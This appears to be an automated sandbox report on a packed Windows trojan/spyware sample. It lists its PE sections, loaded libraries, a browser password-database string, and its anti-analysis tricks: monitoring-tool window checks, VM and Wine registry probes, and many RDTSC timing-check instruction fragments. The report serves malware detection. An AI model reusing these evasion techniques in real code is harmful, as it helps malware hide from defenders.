Source: XYQ1pqHNiT.exe	Static PE information: Section: cyhvihmt ZLIB complexity 0.9944744766982623

Source: XYQ1pqHNiT.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@12/2

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: XYQ1pqHNiT.exe, 00000000.00000003.1345471910.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1368015964.0000000005D22000.00000004.00000800.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1345180678.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: XYQ1pqHNiT.exe	Virustotal: Detection: 56%
Source: XYQ1pqHNiT.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

File read: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: XYQ1pqHNiT.exe

Static file information: File size 1792512 > 1048576

Source: XYQ1pqHNiT.exe

Static PE information: Raw size of cyhvihmt is bigger than: 0x100000 < 0x18ba00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Unpacked PE file: 0.2.XYQ1pqHNiT.exe.cc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cyhvihmt:EW;bcpeiayw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cyhvihmt:EW;bcpeiayw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: XYQ1pqHNiT.exe

Static PE information: real checksum: 0x1c0fe4 should be: 0x1c5202

Source: XYQ1pqHNiT.exe	Static PE information: section name:
Source: XYQ1pqHNiT.exe	Static PE information: section name: .idata
Source: XYQ1pqHNiT.exe	Static PE information: section name:
Source: XYQ1pqHNiT.exe	Static PE information: section name: cyhvihmt
Source: XYQ1pqHNiT.exe	Static PE information: section name: bcpeiayw
Source: XYQ1pqHNiT.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Code function: 0_3_0159DBC4 push B0800058h; ret	0_3_0159DBD1
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Code function: 0_3_01540140 push eax; iretd	0_3_01540141
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Code function: 0_3_0159DBC4 push B0800058h; ret	0_3_0159DBD1

Source: XYQ1pqHNiT.exe	Static PE information: section name: entropy: 7.970551524847764
Source: XYQ1pqHNiT.exe	Static PE information: section name: cyhvihmt entropy: 7.953902379710209

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: D18ACD second address: D18AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: D18AD2 second address: D18AE4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F5060CC42C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: D18AE4 second address: D18AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8BA38 second address: E8BA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060CC42D9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8BBC4 second address: E8BBCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8BE7B second address: E8BEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F5060CC42D6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007F5060CC42C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8C153 second address: E8C163 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5060E412E6h 0x00000008 jnp 00007F5060E412E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8C163 second address: E8C16A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8C16A second address: E8C183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jnp 00007F5060E412ECh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8EFE6 second address: E8EFF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060CC42CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8EFF7 second address: E8EFFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8EFFB second address: E8F008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F008 second address: E8F00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F00E second address: E8F040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F5060CC42C8h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F5060CC42D8h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pushad 0x0000001b popad 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F040 second address: E8F045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F045 second address: E8F06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5060CC42C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5060CC42D5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F06D second address: E8F0EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F5060E412E8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 jmp 00007F5060E412EAh 0x00000029 lea ebx, dword ptr [ebp+12449E47h] 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F5060E412E8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 push eax 0x0000004a push ecx 0x0000004b jbe 00007F5060E412ECh 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F15C second address: E8F160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F160 second address: E8F1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jc 00007F5060E412E6h 0x0000000d pop esi 0x0000000e popad 0x0000000f add dword ptr [esp], 4EDA8200h 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a mov cx, F130h 0x0000001e mov edx, dword ptr [ebp+122D2CC6h] 0x00000024 push 00000003h 0x00000026 push ecx 0x00000027 mov dx, 7D4Fh 0x0000002b pop edx 0x0000002c call 00007F5060E412E9h 0x00000031 pushad 0x00000032 pushad 0x00000033 jmp 00007F5060E412EEh 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F1A7 second address: E8F1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F5060CC42CBh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F5060CC42D4h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 jnp 00007F5060CC42C6h 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F1E3 second address: E8F25F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f jmp 00007F5060E412EDh 0x00000014 pop eax 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F5060E412E8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 jmp 00007F5060E412F2h 0x00000035 lea ebx, dword ptr [ebp+12449E50h] 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007F5060E412E8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push esi 0x00000059 pushad 0x0000005a popad 0x0000005b pop esi 0x0000005c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F25F second address: E8F277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060CC42D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F40B second address: E8F40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E8F40F second address: E8F41D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5060CC42C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E9FC92 second address: E9FC96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E9FC96 second address: E9FCB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5060CC42D5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EACDF0 second address: EACDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EACDF4 second address: EACE00 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F5060CC42C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EACE00 second address: EACE08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EACE08 second address: EACE0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EACF8F second address: EACF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EAD0EB second address: EAD0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EAD244 second address: EAD248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EAD248 second address: EAD24E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EAD4E5 second address: EAD4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EADBAA second address: EADBB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EADBB0 second address: EADBE4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5060E412F4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5060E412F9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EADD40 second address: EADD44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: E81B10 second address: E81B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB01EF second address: EB01FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5060CC42C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB2ED8 second address: EB2EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB2EE1 second address: EB2EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB1E27 second address: EB1E2C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB901C second address: EB9021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB9021 second address: EB9026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB9026 second address: EB904A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060CC42D6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB97EE second address: EB97F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5060E412E6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB97F9 second address: EB9835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F5060CC42C6h 0x00000009 jmp 00007F5060CC42D1h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jmp 00007F5060CC42D8h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB9835 second address: EB983D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB983D second address: EB985A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5060CC42C6h 0x0000000a popad 0x0000000b jg 00007F5060CC42D2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EB985A second address: EB9864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5060E412E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBA24C second address: EBA256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5060CC42C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EBA4BE second address: EBA4C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
